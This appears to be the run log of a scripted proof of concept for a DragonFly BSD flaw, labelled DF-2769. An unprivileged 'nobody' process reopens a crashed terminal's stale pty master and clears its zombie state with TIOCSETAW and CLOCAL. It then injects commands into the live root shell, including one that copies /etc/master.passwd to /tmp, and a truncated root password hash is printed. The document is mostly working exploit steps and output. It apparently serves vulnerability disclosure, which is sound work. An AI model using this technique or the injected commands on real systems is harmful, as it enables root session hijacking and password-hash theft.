DF-2769 / run_film.log
========== [11:40:40] BEAT 0 — SETUP: the stage ==========
DF-2769 — stale unix98 pty master re-open = takeover of a live ROOT session
kernel: DragonFly dfbsd 6.5-DEVELOPMENT DragonFly v6.5.0.1712.g89e6a-DEVELOPMENT #1: Mon Jun 29 14:18:01 UTC 2026 root@ephemeral-5c2002c44b6c:/usr/obj/usr/src/sys/X86_64_GENERIC x86_64
date: Fri Oct 16 11:40:40 UTC 2026
narrator (this console) runs as: uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest), 90(nvmm)
attacker will be: uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
pre-state of proof files (must not exist):
ls: /tmp/df2769_marker: No such file or directory
ls: /tmp/df2769_pwned: No such file or directory
ls: /tmp/df2769_secret: No such file or directory
building the two actors:
built: -rwxr-xr-x 1 root wheel 11680 Oct 16 11:40 /tmp/film/film_attack
built: -rwxr-xr-x 1 root wheel 7408 Oct 16 11:40 /tmp/film/film_churn
built: -rwxr-xr-x 1 root wheel 12584 Oct 16 11:40 /tmp/film/film_victim
========== [11:40:40] BEAT 1 — VICTIM (root): admin opens a root shell inside a terminal ==========
[terminal] root admin session opened: pty /dev/pts/0, session pid 867
[terminal] terminal fd (pty master) = 3
root@dfbsd:~ # [narrator] victim session: /dev/pts/0 (pid 867) — watch the screen above: it is ALIVE and INTERACTIVE
whoami
root
root@dfbsd:~ # hostname
dfbsd
root@dfbsd:~ # id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest), 90(nvmm)
root@dfbsd:~ # echo ROOT-SESSION-ALIVE
ROOT-SESSION-ALIVE
root@dfbsd:~ #
[terminal] *** TERMINAL CRASH *** (xterm killed / ssh connection dropped)
[terminal] close(master=3) -> kernel ptcclose(): gates disarmed,
[terminal] /dev/ptm/N left registered 0666 root:root, tty goes ZOMBIE
[terminal] SIGHUP -> ignored by session leader -> session SURVIVES
[terminal] terminal process exiting; root session left behind on /dev/pts/0
[narrator] the terminal has exited. the session has NOT.
========== [11:40:45] BEAT 2 — TERMINAL CRASH: root session survives on a dead (ZOMBIE) tty ==========
the session leader, after its terminal died:
PID PPID UID STAT COMMAND
867 1 0 S0s+ /tmp/film/film_victim
its terminal (slave device) still exists: crw-rw-rw- 1 root wheel 33, 0x00000000 Oct 16 11:40 /dev/pts/0
[narrator] SIGHUP was ignored (nohup-style leader): a root shell now sits
[narrator] silently on a ZOMBIE pty whose master seat is EMPTY.
========== [11:40:45] BEAT 3 — ATTACKER (nobody): first probe — DEFAULT devfs ==========
attacker runs the exact same unprivileged command it will always run:
$ su -m nobody -c "/tmp/film/film_attack /dev/pts/0"
ATTACKER| identity: uid=65534 euid=65534 (must be unprivileged)
ATTACKER| ----- open the STALE master /dev/ptm/N (the dead terminal's seat) -----
ATTACKER| $ open("/dev/ptm/0", O_RDWR)
ATTACKER| -> No such file or directory [devfs hides /dev/ptm on the default ruleset]
ATTACKER| RESULT=FENCED
[narrator] fenced: /dev/ptm is DEVFS_HIDDEN on the default ruleset (ENOENT).
[narrator] note: no /dev/ptm appears in /dev at all right now — only ptmx:
crw-rw-rw- 1 root wheel 11, 0xffff00ff Oct 16 11:40 /dev/ptmx
========== [11:40:45] BEAT 4 — CONFIG: this host applies devfs SHOW rules (jail /dev trees do exactly this) ==========
[narrator] the system churns on (logins, cron, any pty allocation):
[churn] a pty was allocated and released (devfs namecache gen bumped)
admin rule file (/tmp/film/rules):
show [TAB] ptm
show [TAB] ptm/*
[narrator] RULES_APPLIED (same class as jail devfs rulesets / devfs.conf show recipes)
attacker view now:
crw-rw-rw- 1 root wheel 11, 0xffff00ff Oct 16 11:40 /dev/ptmx
/dev/ptm:
total 0
crw-rw-rw- 1 root wheel 32, 0x00000000 Oct 16 11:40 0
[narrator] note the stale master: 0666 root:root, world-openable.
========== [11:40:47] BEAT 5 — ATTACKER (nobody): full takeover — stale master, ZOMBIE clear, injection, live control ==========
ATTACKER| identity: uid=65534 euid=65534 (must be unprivileged)
ATTACKER| ----- open the STALE master /dev/ptm/N (the dead terminal's seat) -----
ATTACKER| $ open("/dev/ptm/0", O_RDWR)
ATTACKER| -> master fd 3 opened. I am the new master of a live session.
ATTACKER| ----- clear the kernel's last fence: TS_ZOMBIE via TIOCSETAW + CLOCAL -----
ATTACKER| -> TIOCSETAW(c_cflag|=CLOCAL) ok: TS_ZOMBIE cleared (tty.c:1065-1077)
ATTACKER| -> the dead terminal is alive again -- under MY control
ATTACKER| ----- INJECT into the root session's tty -----
ATTACKER| $ write(master, "id > /tmp/df2769_pwned; cat /etc/master.passwd > /tmp/df2769_secret\n")
ATTACKER| ----- capture the session's screen via ptcread -----
ATTACKER-READ| root@dfbsd:~ # id > /tmp/df2769_pwned; cat /etc/master.passwd > /tmp/df2769_secret
root@dfbsd:~ #
ATTACKER| ----- INJECT into the root session's tty -----
ATTACKER| $ write(master, "whoami; hostname\n")
ATTACKER| ----- the root shell answers ON MY screen -----
ATTACKER-READ| whoami; hostname
root
dfbsd
root@dfbsd:~ #
ATTACKER| ----- INJECT into the root session's tty -----
ATTACKER| $ write(master, "echo DF-2769-PWNED > /tmp/df2769_marker\n")
ATTACKER| ----- leave a 0:0-owned marker -----
ATTACKER-READ| echo DF-2769-PWNED > /tmp/df2769_marker
root@dfbsd:~ #
ATTACKER| RESULT=HIJACKED (root session fully controlled by 'nobody')
========== [11:40:57] BEAT 8 — PROOF: what just happened ==========
attacker identity never changed: uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
files created BY THE ROOT SESSION for the attacker:
-rw-r--r-- 1 root wheel 14 Oct 16 11:40 /tmp/df2769_marker
-rw-r--r-- 1 root wheel 111 Oct 16 11:40 /tmp/df2769_pwned
-rw-r--r-- 1 root wheel 1913 Oct 16 11:40 /tmp/df2769_secret
--- /tmp/df2769_pwned (owner: root; content written by the hijacked session) ---
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest), 90(nvmm)
--- /tmp/df2769_secret (root-only file exfiltrated through the session; first 3 lines, truncated) ---
# $FreeBSD: src/etc/master.passwd,v 1.25.2.6 2002/06/30 17:57:17 des Exp
#
root:$6$ccqWuAkLXtcCnBEd$kQSFoSBIEjf15/3HyuAwJRCvbUvW2C6DF7kZmhqTQ4k77Uh
--- marker ownership ---
owner=root:wheel mode=-rw-r--r-- file=/tmp/df2769_marker
owner=root:wheel mode=-rw-r--r-- file=/tmp/df2769_pwned
owner=root:wheel mode=-rw-r--r-- file=/tmp/df2769_secret
========== [11:40:57] BEAT 9 — CLEANUP: demo hygiene ==========
[narrator] victim session (867) terminated
[narrator] devfs rules cleared (nodes re-hide at next boot; -r node-reset deliberately not used)
crw-rw-rw- 1 root wheel 11, 0xffff00ff Oct 16 11:40 /dev/ptmx
========== [11:40:57] FILM END — nobody -> live root session takeover ==========